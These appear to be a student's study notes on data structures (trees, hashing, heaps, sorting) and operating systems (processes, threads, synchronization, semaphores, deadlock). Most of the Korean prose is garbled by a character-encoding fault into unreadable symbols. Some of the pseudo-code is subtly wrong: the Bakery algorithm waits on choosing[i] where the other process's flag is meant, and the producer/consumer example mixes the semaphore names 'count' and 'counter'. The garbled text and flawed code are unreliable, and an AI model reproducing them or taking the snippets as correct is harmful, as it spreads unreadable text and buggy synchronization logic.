ธ๋๋ค๋ก ๊ฝ ์ฐจ์๊ณ , ๋ง์ง๋ง ๋ ๋ฒจ์๋ ๋
ธ๋๋ค์ด ์ผ์ชฝ๋ถํฐ ๋น ์ง์์ด ์ฑ์์ง ํธ๋ฆฌ ์ด์ง ํธ๋ฆฌ์ ์์ฑ
๋ ๋ฒจ k์ ์๋ ์ต๋ ๋
ธ๋ ์ = $2^{k-1}$ ๋์ด๊ฐ h์ธ ํฌํ ์ด์ง ํธ๋ฆฌ์ ์๋ ๋
ธ๋ ์ = $2^{h}-1$ n๊ฐ์ ๋
ธ๋๋ฅผ ๊ฐ์ง ์์ ์ด์ง ํธ๋ฆฌ์ ๋์ด = $log_{2}(n+1)$ ๋์ด๊ฐ h์ธ ์์ ์ด์งํธ๋ฆฌ์ ์กด์ฌํ ์ ์๋ ๋
ธ๋ ์ n ๋ฐฐ์ด์ ์ ์ฅ๋ ์ด์ง ํธ๋ฆฌ
ํธ๋ฆฌ
1A 2โโโ B 3โ โ-โ D 4โ โ โโโ H 5โ โ โโโ I 6โ โ-โ E 7โ โโโ J 8โ โโโ K 9โโโ C 10 โโโ F 11 โโโ G ์ ํธ๋ฆฌ๋ฅผ ๋ฐฐ์ด์ ์ ์ฅํ๋ฉด (์ธ๋ฑ์ค 1๋ถํฐ ์์)
1A = [A, B, C, D, E, F, G, H, I, J, K] a[i]์ ๋ถ๋ชจ๋ a[i/2], ๋จ i>1 a[i]์ ์ผ์ชฝ ์์์ a[2i], ๋จ 2i <= n a[i]์ ์ค๋ฅธ์ชฝ ์์์ a[2i+1], ๋จ 2i+1 <= n ํธํฅ(skewed) ์ด์ง ํธ๋ฆฌ
๋ฉ๋ชจ๋ฆฌ ๋ญ๋น๊ฐ ์ฌํ๋ค ์ด์ง ํธ๋ฆฌ์ ์ํ preorder ; root - left - right inorder : left - root - right postorder : left - right - root levelorder : left -> right (from top level)
์ํ ์๊ฐ O(n) ์๊ฐ์ด ์์ ์งํฉ์ ํํ ๋ฐฐ์ด index 0 1 2 3 4 5 6 7 8 9 value 4 2 7 7 4 4 2 7 7 4 ์งํฉ 1 17 2โโโ 2 3โ โ-โ 1 4โ โ-โ 6 5โโโ 8 6โโโ 3 ์งํฉ2 14 2โโโ 0 3โโโ 5 4โโโ 9 ์ํ ์๊ฐ union : O(N) find : O(N) ์ 5์ฅ : ํ์ ํธ๋ฆฌ 5.1 ์ด์งํ์ํธ๋ฆฌ min ํจ์ deleteMin ํจ์ delete ํจ์ CASE 1 : ์ญ์ ํ ๋
ธ๋์ ๋ ์์์ด ๋ชจ๋ null CASE 2 : ์ญ์ ํ ๋
ธ๋์ ์ค๋ฅธ์ชฝ ์์๋ง null CASE 3 : ์ญ์ ํ ๋
ธ๋์ ์ผ์ชฝ ์์๋ง null CASE 4 : ์ญ์ ํ ๋
ธ๋์ ์์์ด ๋๋ค ์กด์ฌ ์๊ฐ ๋ณต์ก๋ O($logn$) 5.2 AVL ํธ๋ฆฌ AVLํธ๋ฆฌ์ ์ ์ ์์์ ๋
ธ๋ x์ ๋ํด x์ ์ผ์ชฝ ์๋ธํธ๋ฆฌ์ ์ค๋ฅธ์ชฝ ์๋ธํธ๋ฆฌ์ ๋์ด ์ฐจ์ด๊ฐ 1์ ๋์ง ์๋ ์ด์ง ํ์ ํธ๋ฆฌ
AVLํธ๋ฆฌ์ ํ์ ์ฐ์ฐ LL ํ์ : ์ผ์ชฝ์ผ๋ก ์น์ฐ์น ๊ฒฝ์ฐ rotateRight(n)๋ฅผ ํตํด ํด๊ฒฐ RR ํ์ : ์ค๋ฅธ์ชฝ์ผ๋ก ์น์ฐ์น ๊ฒฝ์ฐ rotateLeft(n)๋ฅผ ํตํด ํด๊ฒฐ LR ํ์ : rotateLeft(n.left) -> rotateRight(n)๋ก ํด๊ฒฐ RL ํ์ : rotateRight(n.right) -> rotateLeft(n)๋ก ํด๊ฒฐ 4๊ฐ์ง ํ์ ์ ๊ณตํต์ ํ์ ํ์ ํธ๋ฆฌ๋ค์ด ๋ชจ๋ ๊ฐ๋ค, ๋ชจ๋ O(1)
AVLํธ๋ฆฌ์ ์ฐ์ฐ ์ฝ์
์ฐ์ฐ ์ด์ง ํธ๋ฆฌ์ ์ฝ์
๊ณผ ๋์ผํ๊ฒ ์ ๋
ธ๋ ์ฝ์
์ ๋
ธ๋๋ก๋ถํฐ ๋ฃจํธ๋ก ๊ฑฐ์ฌ๋ฌ ์ฌ๋ผ๊ฐ๋ฉฐ ๋ถ๊ท ํ์ด ๋ฐ์ํ๋ฉด ์ ์ ํ๊ฒ ํ์ ์ฐ์ฐ ์ํ ์ญ์ ์ฐ์ฐ 5.3 2-3 ํธ๋ฆฌ 2-3 ํธ๋ฆฌ์ ์ ์ ์์์ ๋
ธ๋๊ฐ 2๊ฐ ๋๋ 3๊ฐ์ ์์์ ๊ฐ์ง ์ ์๋ ํธ๋ฆฌ๋ก, ๋ชจ๋ ๋ฆฌํ ๋
ธ๋๊ฐ ๊ฐ์ ๋ ๋ฒจ์ ์๋ค.
2-3 ํธ๋ฆฌ์ ์ฐ์ฐ ํ์ ์ฐ์ฐ ์ด์ง ํ์ ํธ๋ฆฌ์ ๋์ผํ ๋ฐฉ๋ฒ์ผ๋ก ํ์
๋ถ๋ฆฌ ์ฐ์ฐ ํค๋ฅผ ๋ถ๋ชจ๋ก ์ฌ๋ ค ๋ณด๋
๋ถ๋ชจ๊ฐ 3-๋
ธ๋์ด๋ฉด ๋ค์ ๋ถ๋ฆฌ์ฐ์ฐ ์ํ
๋ฃจํธ์์ ์ผ์ด๋๋ฉด ํธ๋ฆฌ์ ๋์ด 1 ์ฆ๊ฐ
์ฝ์
์ฐ์ฐ ์ฝ์
ํ ๋ถ๋ฆฌ ์ฐ์ฐ์ ์ํ
์ญ์ ์ฐ์ฐ ์ญ์ ํ ๋
ธ๋๊ฐ ์ดํ๋ฆฌ ๋
ธ๋์ด๋ฉด ๊ทธ๋ฅ ์ญ์
์ญ์ ํ ๋
ธ๋๊ฐ ์ดํ๋ฆฌ ๋
ธ๋๊ฐ ์๋๋ผ๋ฉด ๊ตํ ํ ์ญ์ ์ด๋ ์ฐ์ฐ, ํตํฉ ์ฐ์ฐ ์ฌ์ฉ
์ด๋ ์ฐ์ฐ ๋น ์๋ฆฌ๋ฅผ ํ์ ์ ๋ฐ๊พผ๋ค
์ด๋์ฐ์ฐ์ด ๋ถ๊ฐ๋ฅํ๋ฉด ํตํฉ ์ฐ์ฐ ์ํ
ํตํฉ ์ฐ์ฐ ์ญ์ ํ ๋
ธ๋์ ๋ถ๋ชจ์ ํ์ ๋ฅผ ํตํฉํ๋ค
2-3 ํธ๋ฆฌ์ ์ํ์๊ฐ ํ์, ์ฝ์
, ์ญ์ ์ฐ์ฐ -> O($logn$) -> ํธ๋ฆฌ์ ๋์ด์ ๋น๋ก ๋ถ๋ฆฌ ์ฐ์ฐ, ํตํฉ ์ฐ์ฐ -> O(1) 2-3ํธ๋ฆฌ๊ฐ ๊ฐ์ฅ ๋์ ๊ฒฝ์ฐ ๋ชจ๋ ๋
ธ๋๊ฐ 2-๋
ธ๋์ธ ๊ฒฝ์ฐ ๋์ด : $ log_2(n+1) $
2-3ํธ๋ฆฌ๊ฐ ๊ฐ์ฅ ๋ฎ์ ๊ฒฝ์ฐ ๋ชจ๋ ๋
ธ๋๊ฐ 3-๋
ธ๋์ธ ๊ฒฝ์ฐ ๋์ด : $ log_3(n) $
5.4 2-3-4 ํธ๋ฆฌ 2-3ํธ๋ฆฌ๋ฅผ ํ์ฅํ 2-3-4 ํธ๋ฆฌ๋ ๋
ธ๋๊ฐ ์์์ 4๊ฐ๊น์ง ๊ฐ์ง ์ ์๋ ์์ ๊ท ํํธ๋ฆฌ
์ด๋ก ์ ์ผ๋ก๋ 2-3ํธ๋ฆฌ์ ๋์ผํ๋ค ์ค์ ๋ก๋ ๋ ๋น ๋ฆ 5.5 B-ํธ๋ฆฌ B-ํธ๋ฆฌ์ ์ ์ ๋ค์์ ํค๋ฅผ ๊ฐ์ง ๋
ธ๋๋ก ๊ตฌ์ฑ๋์ด ๋ค๋ฐฉํฅ ํ์์ด ๊ฐ๋ฅํ ๊ท ํํธ๋ฆฌ
B-ํธ๋ฆฌ์ ์ฐ์ฐ ํ์ ์ฐ์ฐ ๋ฃจํธ ๋ถํฐ ์์ ๊ฐ ๋
ธ๋์์ ์ด์ง ํ์ ์ํ
์ฝ์
์ฐ์ฐ ์ดํ๋ฆฌ์ ์ ํค๋ฅผ ์์ฉํ ๊ณต๊ฐ์ด ์๋ค๋ฉด, ์ ๋ ฌ๋ ์ํ๋ฅผ ์ ์งํ๋๋ก ์ฝ์
์ด๋ฏธ M-1๊ฐ์ ํค๋ฅผ ๊ฐ์ง๊ณ ์์ผ๋ฉด, ๋ถ๋ฆฌ ์ฐ์ฐ์ ์ํ
์ญ์ ์ฐ์ฐ ์ญ์ ํ ๋
ธ๋๊ฐ ์ดํ๋ฆฌ ๋
ธ๋์ด๋ฉด ๊ทธ๋ฅ ์ญ์ ์ญ์ ํ ๋
ธ๋๊ฐ ์ดํ๋ฆฌ ๋
ธ๋๊ฐ ์๋๋ผ๋ฉด ๊ตํ ํ ์ญ์ ์ด๋ ์ฐ์ฐ, ํตํฉ ์ฐ์ฐ ์ฌ์ฉ
์ด๋ ์ฐ์ฐ ํค์ ์๊ฐ M/2-1๋ณด๋ค ์์ผ๋ฉด(underflow) ํ์ , ๋ถ๋ชจ๋
ธ๋๋ฅผ ์ด๋ฅ ์ด๋ ์ฐ์ฐ์ด ๋ถ๊ฐ๋ฅํ๋ฉด ํตํฉ ์ฐ์ฐ ์ํ
ํตํฉ ์ฐ์ฐ ์ญ์ ํ ๋
ธ๋์ ๋ถ๋ชจ์ ํ์ ๋ฅผ ํตํฉํ๋ค
B-ํธ๋ฆฌ์ ์ํ์๊ฐ ํ์, ์ฝ์
, ์ญ์ ์ฐ์ฐ -> O($log_{M/2}n$) -> ํธ๋ฆฌ์ ๋์ด์ ๋น๋ก ์ 6์ฅ : ํด์ ํ
์ด๋ธ ๋ํ์ ์ธ ํด์ ํจ์ ์ค๊ฐ ์ ๊ณฑ ํจ์ : ํค๋ฅผ ์ ๊ณฑํ ํ, ์ ์ ํ ํฌ๊ธฐ์ ์ค๊ฐ ๋ถ๋ถ์ ์ฌ์ฉ ์ ๊ธฐ ํจ์ : ํค๋ฅผ ์ฌ๋ฌ ๋ถ๋ถ์ผ๋ก ๋๋ ํ, ์ด๋ค์ ๋ํ ๊ฐ์ ์ฌ์ฉ ์๋ฐ์ hashCode() 1private int hash(Key k) { 2 return (k.hashCode() & 0x7fffffff) % M; 3} ํด์ ํ
์ด๋ธ์ ์ ์ฅ ๋ฐฉ์ ๊ฐ๋ฐฉ ์ฃผ์ ๋ฐฉ์ : ์ถฉ๋๋ ํค๋ฅผ ์ผ์ ํ ๋ฐฉ์์ ๋ฐ๋ผ ์ฐพ์๋ธ empty์์์ ์ ์ฅ ์ ํ ์กฐ์ฌ, ์ด์ฐจ์กฐ์ฌ, ์ด์คํด์ฑ ์ ํ ์กฐ์ฌ : ์ถฉ๋์ด ์ผ์ด๋ ๊ณณ์ผ๋ก๋ถํฐ ์์ฐจ์ ์ผ๋ก ํ์ 1์ฐจ ๊ตฐ์งํ (ํค๋ค์ด ๋ญ์ณ์ง๋ ํ์) ๋ฐ์ ๊ตฐ์งํ๋ ๊ตฐ์ง๋ ํค๋ค์ ์์ฐจ์ ์ผ๋ก ๋ฐฉ๋ฌธํด์ผํ๋ ๋ฌธ์ ์ ์ ์ผ์ผํจ๋ค ์ 7์ฅ : ์ฐ์ ์์ ํ ์ฐ์ ์์ ํ (Priority Queue) ๊ฐ์ฅ ๋์ ์ฐ์ ์์๋ฅผ ๊ฐ์ง ํญ๋ชฉ์ ์ ๊ทผ๊ณผ ์ญ์ , ์์์ ์ฐ์ ์์๋ฅผ ๊ฐ์ง ํญ๋ชฉ์ ์ฝ์
์ ์ง์ํ๋ ์๋ฃ๊ตฌ์กฐ ํ (Heap) ์์ ์ด์ง ํธ๋ฆฌ๋ก์ ๋ถ๋ชจ์ ์ฐ์ ์์๊ฐ ์์์ ์ฐ์ ์์๋ณด๋ค ๋์ ์๋ฃ๊ตฌ์กฐ ์ต์ ํ, ์ต๋ ํ ํ์ ์ฐ์ฐ ์ต์๊ฐ ์ญ์ ๋ฃจํธ ์ญ์ ํ, ๋ง์ง๋ง ๋
ธ๋๋ฅผ ๋ฃจํธ๋ก ์ด๋ downheap ์ํ : ๋ฃจํธ๋ถํฐ ๋น๊ตํ๋ฉด์ ๋ด๋ ค๊ฐ ์ฝ์
๋ง์ง๋ง ํญ๋ชฉ์ ๋ค์์ ์ฝ์
upheap ์ํ : ๋ฃจํธ๋ก ๋น๊ตํ๋ฉด์ ์ฌ๋ผ๊ฐ ์ํฅ์ ํ 1public void createHeap() { 2 for (int i = N/2; i>0; i--) { 3 downheap(i); 4 } 5} O(n) ์ํ ์๊ฐ ์ ๊ทผ, ์ฝ์
, ์ญ์ : O(logn) ์ 8์ฅ : ์ ๋ ฌ ์ ํ ์ ๋ ฌ (Selection Sort) ํญ์ O(n^2) ์ฝ์
์ ๋ ฌ (Insertion Sort) ์ต์
: O(n^2) ์ต์ : O(n) : ์ด๋ฏธ ์ ๋ ฌ๋ ๊ฒฝ์ฐ ํ ์ ๋ ฌ (Heap Sort) ํญ์ : O(nlogn) ํฉ๋ณ ์ ๋ ฌ (Merge Sort) ํญ์ : O(nlogn) Stable Sort : ๊ฐ์ ๊ฐ์ ํค๋ฅผ ๊ฐ์ง ๋ ์ฝ๋์ ์์๊ฐ ์ ๋ ฌ ํ์๋ ์ ์ง๋๋ ์ ๋ ฌ ํต ์ ๋ ฌ (Quick Sort) ์ต์
: O(n^2)
์ต์ : O(nlogn)
์ฑ๋ฅ ํฅ์ ๋ฐฉ๋ฒ
Median of Three : ์ฒซ๋ฒ์งธ, ๋ง์ง๋ง, ์ค๊ฐ๊ฐ ์ค์์ ์ค๊ฐ๊ฐ์ ํผ๋ฒ์ผ๋ก ์ ํ ์
๋ ฅ์ด ์์ ํฌ๊ธฐ๊ฐ ๋์์๋ ์ฝ์
์ ๋ ฌ์ ์ฌ์ฉ ์ด์์ฒด์ ๊ฐ์ ์ด์์ฒด์ ์ ์ญํ Program execution Access to computer resources (I/O device, Data…) Error detection and response Accounting (ex: task manager) ์ด์์ฒด์ ์ ๋ฐ์ Serial Processing : No OS, No Job scheduling
Simple batch system
OS๊ฐ job์ ํ ๋น Controlled by monitor Uni-programming
๋ค ์คํ๋ ๋๊น์ง ๊ธฐ๋ค๋ฆผ bad utilization Multiprogramming
The processor can switch to the other job better utilization, needs more memory Time sharing
proceess์๊ฒ ์ ํด์ง time slice (time quantum)๊ฐ ์ฃผ์ด์ง๋ค. better utilization, bad throughput Symmetric multiprocessing (SMP)
์ฌ๋ฌ processors๊ฐ main memory, I/O ์ฅ์น๋ค์ ๊ณต์ ์ฌ๋ฌ processors๊ฐ ๋์ผํ function ์ํ ๊ฐ๋ฅ ์ด์์ฒด์ ์ ๊ตฌ์ฑ ์์ Distributed Systems (๋ถ์ฐ์์คํ
) ์ฌ๋ฌ ์ปดํจํฐ๋ฅผ ์ฐ๊ฒฐํด ์ฌ์ฉ ๋น ๋ฅธ ์๋, ๋์ ๋ฐ์ดํฐ ๊ฐ์ฉ์ฑ Command-Interpreter System user๊ฐ ์ง์ OS์๊ฒ ์ผ์ ์ํจ๋ค OS Architecture Monolithic kernel ๋ชจ๋ OS์ ๊ธฐ๋ฅ์ ํ๋์ kernel์ด ๊ฐ์ง๊ณ ์๋๋ค ํ๋ ์์ ํ๋ฉด ์ ์ฒด๋ฅผ ์ปดํ์ผ ํด์ผ ํ๋ค Microkernel kernel kernel ๋ด์ ํ์ํ ๊ธฐ๋ฅ Address space management, Interprocess communication, ๊ธฐ๋ณธ์ ์ธ ํ๋ก์ธ์ค scheduling ๊ธฐ๋ฅ
kernel๊ฐ ํต์ ์๋๊ฐ ๋๋ฆฌ๋ค Process Process๋ ์ปดํจํฐ์์ ์คํ ์ค์ธ ๊ฐ์ฒด register ์ค PC๊ฐ context๋ฅผ ๊ฐ๋ฆฌํจ๋ค Context๋ data์ code๋ก ๊ตฌ์ฑ Trace of Processes A -> time out -> B -> I/O request -> A ์ฌ์ด์ฌ์ด์ dispatcher๊ฐ processor์ process๋ฅผ ๊ต์ฒดํ๋ค Process state model Process suspension์ ์ด์ Swapping : memory ๊ณต๊ฐ ํ๋ณด๋ฅผ ์ํด Timing : ์ฃผ๊ธฐ์ ์ผ๋ก ์คํ๋๋ ํ๋ก๊ทธ๋จ Interactive user request : user์ ์์ฒญ Parent process request : parent process์ ์์ฒญ Process Control block ๊ตฌ์ฑ์์ : Identifier, State, Priority, PC, Memory pointers, Address of memory context, I/O state info, Accounting info Process 1๊ฐ ๋น PCB 1๊ฐ Process Context User Context : code, data, user stack System Context : kernel stack, PCB Virtual Address Space ํ๋ก์ธ์ค๊ฐ ์คํ๋๋ฉด ์ ์ ๊ทผ(access, reference) ๊ฐ๋ฅํ ์ฃผ์๋ค์ ๋ฒ์
32bit address computer : $2^{32}$ = 4G ๋ฒ์ง, 3G~4G๋ฒ์ง์๋ ์ปค๋์ด ๋ค์ด๊ฐ๋ค
๋ณด์กฐ๊ธฐ์ต์ฅ์น์ VAS๋ ํ๋ก์ธ์ค ๊ฐ์๋งํผ ์กด์ฌ
๊ตฌ์ฑ
| kernel | stack (local var) | bss (๋ง๋ค๋ ์ด๊ธฐํ ์ ํ global var) | data (๋ง๋ค๋ ์ด๊ธฐํ ํ global var) | code Process Creation Process๊ฐ ์์ฑ๋๋ ๊ฒฝ์ฐ
OS๊ฐ ๋ง๋๋ ๊ฒฝ์ฐ ์คํ ์ค์ธ process๊ฐ ์์์ ๋ง๋๋ ๊ฒฝ์ฐ User command fork()
์์ ํ๋ก์ธ์ค์ memory infotable์ด ๋ถ๋ชจ์ context๋ฅผ ๊ฐ๋ฆฌํค๊ฒ ํ๋ค memory๋ด์์ ๋ถ๋ชจ์ data, stack์ ๋ณต์ ํ๋ค ์์์ด ๊ฐ๋ฆฌํค๋ ๊ฒ์ ๋ณต์ ๋ context๋ก ๋ฐ๊พผ๋ค COW(Copy on write) : ๋ณต์ฌ๋ฅผ ๋ฆ์ถค์ผ๋ก์ ๋ฉ๋ชจ๋ฆฌ ์ ์ฝ Process switch Mode change : Memory ๋ด์์ user mode <-> system mode Context change : ๋ค๋ฅธ process๋ก switch Context change๋ฅผ ํ๋ ๊ฒฝ์ฐ
Process์ ์๋ฉธ : Running -> Release Process์ block (I/O request, file open, page fault) : Running -> Blocked Expiration of time slice : Running -> Ready I/O interrupt : Blocked -> Ready Steps of context switch
Save context(pc, other register) of processor Update the PCB Move PCB to appropriate queue Select another process to execute Update the PCB Update memory-management data structures Restore context of the selected process Process Termination Process๊ฐ ์ญ์ ๋๋ ๊ฒฝ์ฐ Normal ompletion Parent request Protection error : ๋น์ ์์ ์ธ ์ ๊ทผ์ ํ ๋ OS๊ฐ ๊ฐ์ ์ข
๋ฃ Arithmetic Error, Invalid instruction… terminated ์ํ : Computer resource๋ ๋บ๊ฒผ์ง๋ง, PCB๋ ๋จ์์๋ ์ํ ํด๋น ํ๋ก์ธ์์ ๋ถ๋ชจ ํ๋ก์ธ์ค๊ฐ wait syscall์ ํธ์ถํ๋ฉด ์์ ํ ์ญ์ ์ง์์ง๋ ๋ถ๋ชจ ๋ฐ์ ์์์ด ๋จ์์๋ค๋ฉด ์์๋ค์ init ํ๋ก์ธ์ค์ ์์๋ก ๋ณด๋ธ๋ค Inter-Process Communication (IPC) Message Passing : kernel๋ด mailbox๋ฅผ ํตํด ๋ฉ์์ง๋ฅผ ์ฃผ๊ณ ๋ฐ๋ ๋ฐฉ๋ฒ user mode -> kernel mode -> user mode ๊ตฌํ์ด ์ฝ๋ค, ๋๋ฆฌ๋ค Shared Memory VAD์ shared memory๋ฒ ์ฃผ์๋ฅผ ๊ฐ๊ณ ์๋ค ๋น ๋ฅด๋ค, ๊ตฌํ์ด ์ด๋ ต๋ค Message / Signal Threads Process์ Thread์ ์ฐจ์ด Thread๋ A unit of execution of in a process
has an execution state
๊ตฌ์ฑ ์์
Stack Memory for registers context : thread control block multithread
Thread์ ์ฅ์ Process ๋ง๋๋๊ฑฐ ๋ณด๋ค Thread ๋ง๋๋๊ฒ ๋น ๋ฅด๋ค Process ์์ ๋๊ฑฐ ๋ณด๋ค Thread ์์ ๋๊ฒ ๋น ๋ฅด๋ค Process๋ผ๋ฆฌ ํต์ ํ๋๊ฑฐ๋ณด๋ค Thread๋ผ๋ฆฌ ํต์ ์ด ๋ ๋น ๋ฅด๋ค (data ๊ณต์ ) User-Level Threads mode change๊ฐ ํ์์๋ค user๊ฐ control ํ ์ ์๋ค ํ๋๊ฐ block๋๋ฉด ๋๋จธ์ง๋ block (kernel ์
์ฅ์์ 1๊ฐ์ thread) Kernel-Level Threads kernel์ ์ข
์์ ์ด๋ค kernel์ด ๊ฐ๋ณ์ ์ผ๋ก ๊ด๋ฆฌํ ์ ์๋ค Mutual Exclusion and Synchronization Key terms in Concurrency Race condition : ์์์ ๋ฐ๋ผ ๊ฒฐ๊ณผ๊ฐ ๋ฌ๋ผ์ง ๋ Mutual exclusion : ํ ํ๋ก์ธ์ค๊ฐ ๊ณต์ ๋ data๋ฅผ accessํ ๋, ๋ค๋ฅธ ํ๋ก์ธ์ค๊ฐ ๊ฑด๋๋ฆฌ๋ฉด ์๋๋ค๋ ์ฑ์ง Critical section : ๊ณต์ ๋ resource๋ฅผ accessํ๋ ๋ถ๋ถ์ ์ฝ๋ Starvation : Process์๊ฒ ์์์ด ๋ฐฐ์ ๋์ง ์๋ ๊ฒฝ์ฐ Deadlock : Starvation for infinite duration Producer/Consumer : Finite Buffer producer
1item v; 2 3 4while (1) { 5 while (counter == BUFFER_SIZE) ; // busy waiting 6 /* produce item v */ 7 b[in] = v; 8 in = (in + 1) % BUFFER_SIZE; 9 counter++; 10} consumer
1item w; 2while (1) { 3 while (counter == 0) ; // busy waiting 4 w = b[out]; 5 out = (out + 1) % BUFFER_SIZE; 6 counter--; 7 /* consume item w */ 8} => Race condition ๋ฐ์ ๊ฐ๋ฅ
Race Condition in a Uniprocessor counter++, counter–์ ๊ฐ์ ๊ตฌ๋ฌธ์ assembly๋ก ๋ฐ๋๋ฉด 1๊ฐ์ด์์ instruction์ด๋ค. ์ค๊ฐ์ interrupt๊ฐ ๋ฐ์ํ๋ฉด race condition์ด ์๊ธธ ์ ์์ผ๋ฏ๋ก atomicํ๊ฒ ์คํ๋์ด์ผํ๋ค. Race Condition in one Process Multithreading์์๋ race condition์ด ๋ฐ์ํ ์ ์๋ค. Prevent Race Condition (SW solution) ์กฐ๊ฑด Mutual Exclusion : critical section์ ํ๋๊ฐ ์ ๊ทผ ์ค์ด๋ฉด ๋ค๋ฅธ ํ๋๋ ์ ๊ทผ ๋ถ๊ฐ Progress : ์๋ฌด๋ ์์ผ๋ฉด ์ ๊ทผ ๊ฐ๋ฅ Bounded Waiting : ๊ธฐ๋ค๋ฆฌ๋ ๋ฐ ํ๊ณ ์กด์ฌ (P1 -> P3 -> P1 -> P3 .., P2๋?) ๋ฐฉ๋ฒ 1
P0 1do { 2 while (turn != 0) ; 3 /* critical section */ 4 turn = 1; 5 /* remainder section */ 6} while (true); P1 1do { 2 while (turn != 1) ; 3 /* critical section */ 4 turn = 0; 5 /* remainder section */ 6} while (true); P0์์ turn = 1์ ์คํํ๊ธฐ ์ ์ interrupt๊ฐ ๋ฐ์ํ๋ฉด, P1๋ ์ ๊ทผ ๋ถ๊ฐ -> progress ์ฑ์ง ๋ง์กฑ X ๋ฐฉ๋ฒ 2 (Peterson’s Algorithm)
P0 1do { 2 flag[0] = true; 3 turn = 1; 4 while (flag [1] && turn == 1) ; 5 /* critical section */ 6 flag[0] = false; 7 /* remainder section */ 8} while (true); P1 1do { 2 flag[1] = true; 3 turn = 0; 4 while (flag [0] && turn == 0) ; 5 /* critical section */ 6 flag[1] = false; 7 /* remainder section */ 8} while (true); ๋ชจ๋ ์กฐ๊ฑด ๋ง์กฑ ํ๋ก์ธ์ค 2๊ฐ์ผ๋๋ง ์ ์ฉ ๊ฐ์ฌ ๋ฐฉ๋ฒ 3 (Bakery Algorithm)
1do { 2 // number๋ฅผ ๋ถ์ฌ๋ฐ๋ ๊ณผ์ ์ atomic ํ์ง ์๋ค 3 choosing[i] = true 4 // ๊ฐ์ฅ ํฐ ๋ฒํธ + 1์ ๋ถ์ฌ 5 number[i] = max(number[0], number[1], ..., number[n-1])+1; 6 choosing[i] = false; 7 8 for (j=0; j<n; j++) { 9 // ๋ค๋ฅธ ํ๋ก์ธ์ค๊ฐ choosing ์ค์ธ์ง ์ฒดํฌ 10 while (choosing[i]); 11 12 // ์์ ์ด ๋ฒํธ๋ฅผ ๋ฐ์๋์ง, ๋ฐ๊ธ ๋ฐ์ ๋ฒํธ๊ฐ 1์์์ธ์ง ์ฒดํฌ 13 while ((number[i] != 0) && (number[j], j) < (number[i], i)) ; 14 } 15 16 /* critical section */ 17 18 number[i] = 0 19 20 /* remainder section */ 21 } while (true); ๋ชจ๋ ์กฐ๊ฑด์ ๋ง์กฑ Overhead๊ฐ ๋๋ฌด ํฌ๋ค Test and Set Instruction (HW solution) testset function 1boolean testset (i) { 2 if (i == 0) { 3 // ๋ค์ด๊ฐ์์ค 4 i = 1; 5 return true; 6 } 7 else { 8 // ๋ค์ด๊ฐ์ง ๋ง์์ค 9 return false; 10 } 11} example 1const int n = /* number of processes */; 2int bolt; 3void P(int i) { 4 while (true) { 5 while (! testset(bolt)); 6 /* critical section */ 7 bolt = 0; 8 /* remainder section*/ 9 } 10} 11void main() { 12 bolt = 0; 13 parbegin (P(1), P(2), ... , P(n)) 14} Semaphore (HW solution) ๊ธฐ๋ณธ ์์
1struct semaphore { 2 int count; 3 queueType queue; 4} 5 6void semWait (semaphore s) { 7 s.count --; 8 if (s.count < 0) { 9 // place this process in s.queue; 10 // block this process 11 } 12} 13 14void semSignal (semaphore s) { 15 s.count++; 16 if (s.count <= 0) { 17 // remove a process P from s.queue; 18 // place process P on ready_list 19 } 20} basic example 1const int n = /* number of processes */ 2semaphore s = 1; 3void P (int i) { 4 while (true) { 5 semWait(s); 6 /* critical section */ 7 semSignal(s); 8 /* remainder section */ 9 } 10} 11void main() { 12 parbegin (P(1), P(2), ... , P(n)); 13} producer/consumer example
producer 1semaphore count = 0; 2semaphore empty = BUFFER_SIZE; 3semaphore mut_ex = 1; 4void producer() { 5 while (true) { 6 produce(); 7 semWait(empty); 8 semWait(mut_ex); 9 append(); // put the produced item into buffer 10 semSignal(mut_ex); 11 semSignal(counter); 12 } 13} consumer
1void consumer() { 2 while (true) { 3 semWait(counter): 4 semWait(mut_ex); 5 take(); 6 semSignal(mut_ex); 7 semSignal(empty); 8 consume(); 9 } 10} 11void main() { 12 parbegin (producer1, producer2, ... , consumer); 13} reader/writer example
writer process
1 void writer() { 2 while(true) { 3 semWait(wsem); 4 WRITEUNIT(); 5 semSignal(wsem); 6 } 7 } reader process
1 void reader() { 2 while (true) { 3 semWait(rsem); // ๋ค๋ฅธ reader ์ ๊ทผ ๋ถ๊ฐ 4 readcount++; 5 if (readcount == 1) // ์ฒซ๋ฒ์งธ ๋ค์ด๊ฐ๋ reader 6 semWait(wsem) // writer ์ ๊ทผ ๋ถ๋ฅ 7 semSignal(rsem); // ๋ค๋ฅธ reader ์ ๊ทผ ๊ฐ๋ฅ 8 9 READUNIT(); 10 11 semWait(rsem); // ๋ค๋ฅธ reader ์ ๊ทผ ๋ถ๊ฐ 12 readcount--; 13 if (readcount == 0) // ๋ง์ง๋ง ๋์ค๋ reader 14 semSignal(wsem); // writer ์ ๊ทผ ๊ฐ๋ฅ 15 semSignal(rsem); // ๋ค๋ฅธ reader ์ ๊ทผ ๊ฐ๋ฅ 16 } 17 } binary semaphore semaphore์ ๊ฐ์ด 0๊ณผ 1๋ก ์ ํ ๊ฐ์ด 1๋ก ๋ฐ๋์์ ๋,๋ชจ๋ ํ๋ก์ธ์ค๊ฐ ready state๋ก ๋ณํ Lock
binary semaphore๋ฅผ ์ด์ฉํด ๊ตฌํ๋ ๋๊ธฐํ ๋ฐฉ์ Deadlock Deadlock์ด๋ Starvation : ์ด๋ค ์์์ ๋ค๋ฅธ ํ๋ก์ธ์ค๊ฐ ์ด๋ฏธ ์ ์ ํ๊ณ ์์ด์ ์คํํ ์ ์๋ ์ํฉ Deadlock : 2๊ฐ ์ด์์ process๋ค์ด ์๋ก starvation์ธ ์ํ Deadlock์ ์กฐ๊ฑด์ ํ๋์ฉ ๊นจ๋ณด์ Mutual exclusion : OS์ ํ์ ๊ธฐ๋ฅ Hold and wait : ์์๋ถํฐ ๋ชจ๋ ์์์ ๋ฐ๋๋ก ๊ตฌํ -> ๋นํจ์จ์ No Preemption : ์์์ ์๋ก ๋บ์ด๊ฐ -> ๋นํจ์จ์ Circular Wait : ์์์ ๋จผ์ ๋ฐ์์ผ ํ๋ ๊ฒฝ์ฐ ์กด์ฌ ํด๊ฒฐ๋ฐฉ๋ฒ ์ต์ ์ ๋ฐฉ๋ฒ : deadlock์ด ๋ฐ์ํ์ ๋, ํ ๊ฐ์ฉ ์ฃฝ์ฌ๋ณด๊ธฐ File Management FCB File Control block, ๋ณด์กฐ๊ธฐ์ต์ฅ์น์ ์ ์ฅ ๊ตฌ์ฑ file name, file size, uid, gid, file operation, creation time, last modified, last access time, address of file data…
